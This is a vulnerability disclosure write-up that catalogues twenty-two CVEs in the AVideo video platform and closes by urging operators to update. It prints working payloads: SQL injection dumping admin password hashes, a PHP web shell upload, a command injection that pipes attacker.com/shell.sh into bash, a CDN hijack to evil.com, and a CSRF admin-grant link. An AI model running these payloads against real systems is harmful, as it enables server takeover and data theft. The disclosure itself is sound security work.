TL;DR — Last month I published a four-stage unauthenticated RCE chain in AVideo. Turns out that was the tip of the iceberg. Twenty-two additional CVEs across the platform: SQL injection in the subscribe endpoint, command injection in the Restreamer log path, RCE via MIME type confusion, CSRF-to-admin privilege escalation, unauthenticated CDN takeover through an empty default key, and an AI plugin IDOR that leaks other users' transcriptions. AVideo's codebase has systemic security issues at every layer.

context

AVideo (formerly YouPHPTube) is a self-hosted video platform with over 3,000 GitHub stars. Universities, media companies, and organizations that want to host video without YouTube use it. The previous disclosure covered the CloneSite plugin's unauthenticated RCE chain (CVE-2026-33478). This is the rest of what I found.

Twenty-two bugs is too many for a linear walkthrough. I'll cover the most dangerous ones in detail, then catalog the rest.

critical: unauthenticated live stream hijacking

CVE-2026-33716 — The live streaming feature uses token verification to authorize stream control actions. The verification endpoint accepts a url parameter that specifies where to validate the token. There's no allowlist, no validation, no restriction on what URL is provided.

An attacker hosts their own verification endpoint that always returns success:

# attacker's server
@app.route('/verify')
def verify():
    return jsonify({"valid": True})

Then they call AVideo's stream control API, pointing the verification URL at their own server:

curl "http://target/plugin/Live/start.json.php?token=anything \
  &verifyURL=https://attacker.com/verify"

AVideo checks the token by asking the attacker's server if it's valid. The attacker says yes. The stream starts. This works for starting, stopping, and reconfiguring any live stream on the platform without authentication.

high: SQL injection in subscribe endpoint

CVE-2026-33723 — The subscribe endpoint takes a user_id parameter and interpolates it directly into a SQL query with no prepared statements:

POST /plugin/Subscribe/subscribe.json.php
Content-Type: application/x-www-form-urlencoded

user_id=1 UNION SELECT password FROM users WHERE isAdmin=1--

The response includes the query result. This is textbook error-based SQL injection — not blind, not time-based. The attacker gets the output directly in the response. Admin password hashes, email addresses, API keys, and any other data in the database are immediately accessible.

high: CDN takeover via empty default key

CVE-2026-33719 — The CDN configuration endpoint is protected by an API key. The default value of this key is an empty string. If the operator never explicitly configured a CDN key — and most don't, because the CDN feature is optional — anyone can reconfigure the CDN origin:

curl "http://target/plugin/CDN/configure.json.php?key=&origin=https://evil.com"

Once the CDN origin points at an attacker-controlled server, every static asset (JavaScript, CSS, images) is served from the attacker's infrastructure. This is a supply chain attack against every visitor to the site — inject a script tag, steal sessions, redirect users, or serve malware.

high: command injection in Restreamer

CVE-2026-33648 — The Restreamer plugin constructs shell commands to manage streaming processes. The log file path parameter is included in the command without sanitization:

# The internal shell command becomes:
ffmpeg ... -log /var/log/restream$(curl attacker.com/shell.sh|bash).log

# The $() executes before ffmpeg runs

This is the same vulnerability class as the rsync injection in the previous AVideo disclosure. User-controlled input reaches a shell command through string concatenation rather than proper argument passing. The fix is escapeshellarg() or, better, never constructing shell commands from user input at all.

high: RCE via MIME/extension mismatch

CVE-2026-33647 — AVideo's file upload validation checks the MIME type (Content-Type header) but not the file extension. An attacker uploads a file with:

  • MIME type: image/jpeg (passes validation)
  • Extension: .php (determines execution)
  • Content: <?php system($_GET['cmd']); ?>

The MIME check passes because the header says it's a JPEG. The file is written to a web-accessible directory with the .php extension. When the attacker requests the file, Apache/nginx executes it as PHP. Arbitrary command execution.

curl -F "[email protected];type=image/jpeg" \
  "http://target/upload.php"
# File lands at /videos/uploads/shell.php

curl "http://target/videos/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)

high: RCE via encoder temp file

CVE-2026-33717 — The Encoder plugin's downloadURL function downloads a remote file and writes it to a temporary location in the web root. The attacker provides a URL pointing to a PHP payload:

curl "http://target/plugin/Encoder/downloadURL.json.php \
  ?url=https://attacker.com/shell.php"
# Written to /var/www/html/videos/cache/tmp_download_12345.php

The temp file path is predictable (timestamp-based). A race condition exists between when the file is written and when the encoder processes it. But in practice, the temp file persists long enough to request it and achieve code execution.

high: CSRF privilege escalation

CVE-2026-33649setPermission.json.php changes user roles and accepts GET requests with no CSRF token validation. The attack is a single link:

https://target/setPermission.json.php?user_id=attacker&permission=admin

Send this link to an admin (in a comment, an email, a video description). When their browser loads it, the GET request executes with their session cookie and the attacker's account becomes admin. No JavaScript required, no user interaction beyond clicking a link.

high: more SQL injection and path traversal

CVE-2026-33651 — The live schedule reminder feature has a blind boolean-based SQL injection. Slower to exploit than the subscribe endpoint's direct injection, but equally capable of extracting the entire database.

CVE-2026-33681pluginRunDatabaseScript.json.php takes a script filename parameter without path validation. Directory traversal (../../../etc/passwd) reads arbitrary files. Point it at an attacker-controlled file and the server executes it as a SQL script.

CVE-2026-33650 — Video moderators can transfer video ownership to arbitrary users. This isn't a direct privilege escalation, but it enables moderators to manipulate content ownership in ways the access model doesn't intend.

the supporting cast

Twelve more vulnerabilities at moderate severity paint a picture of systemic issues:

CVE What's Broken
CVE-2026-34369 Video password protection bypassed — API returns playback sources without checking the password
CVE-2026-34364 Category access controls broken by missing group membership filtering
CVE-2026-34362 WebSocket tokens never expire — the timeout check is commented out in the source
CVE-2026-34247 IDOR overwrites other users' live stream poster images
CVE-2026-34245 Playlist schedule creation has zero authorization checks
CVE-2026-33764 AI plugin IDOR leaks other users' AI-generated transcriptions and metadata
CVE-2026-33763 Video password brute-force has no rate limiting
CVE-2026-33761 Scheduler plugin endpoints leak scheduled tasks and email templates without auth
CVE-2026-33759 Unauthenticated IDOR exposes private playlist contents and video lists
CVE-2026-33688 User enumeration and account status disclosure before captcha is served
CVE-2026-33685 Ad server reports accessible without authentication
CVE-2026-33683 Stored XSS via html_entity_decode() reversing the sanitization that htmlspecialchars() applied earlier

The html_entity_decode() bug (CVE-2026-33683) deserves a mention: one function encodes user input for safe HTML output, then a later function decodes it back, undoing the sanitization entirely. It's a metaphor for the codebase's security posture — defenses that exist on paper but cancel themselves out in practice.

the pattern

After auditing AVideo across two disclosure rounds, the systemic issues are clear:

  1. SQL queries are built via string concatenation. Not some of them. Many of the core endpoints. Prepared statements exist in some places but the default coding pattern is interpolation.
  2. Authentication is opt-in per endpoint. Endpoints that should require authentication simply don't include the check. There's no middleware enforcement.
  3. Authorization checks verify the wrong object. When auth exists, the endpoint often checks access to one resource and then operates on a different one.
  4. File upload validation checks MIME type, not extension. MIME type is attacker-controlled via the Content-Type header. Extension determines server-side execution.
  5. CSRF protection is absent on state-changing GET endpoints. Actions that modify server state are reachable via GET with no token validation.
  6. Shell commands are built via string concatenation. The same mistake as SQL injection, but in a shell context.

These aren't edge cases in rarely-used features. They're in core functionality: subscribing, live streaming, file uploading, user permissions. The previous disclosure found four bugs leading to one chain. This round found twenty-two bugs because the same patterns repeat across the entire codebase.

recommendation

If you're running AVideo, update to the latest version immediately. If you can't update, put it behind a VPN or authenticated reverse proxy — the unauthenticated attack surface is extensive enough that internet-facing deployments are high-risk.

Twenty-two CVEs across AVideo's core and plugins. All bugs have been reported through responsible disclosure.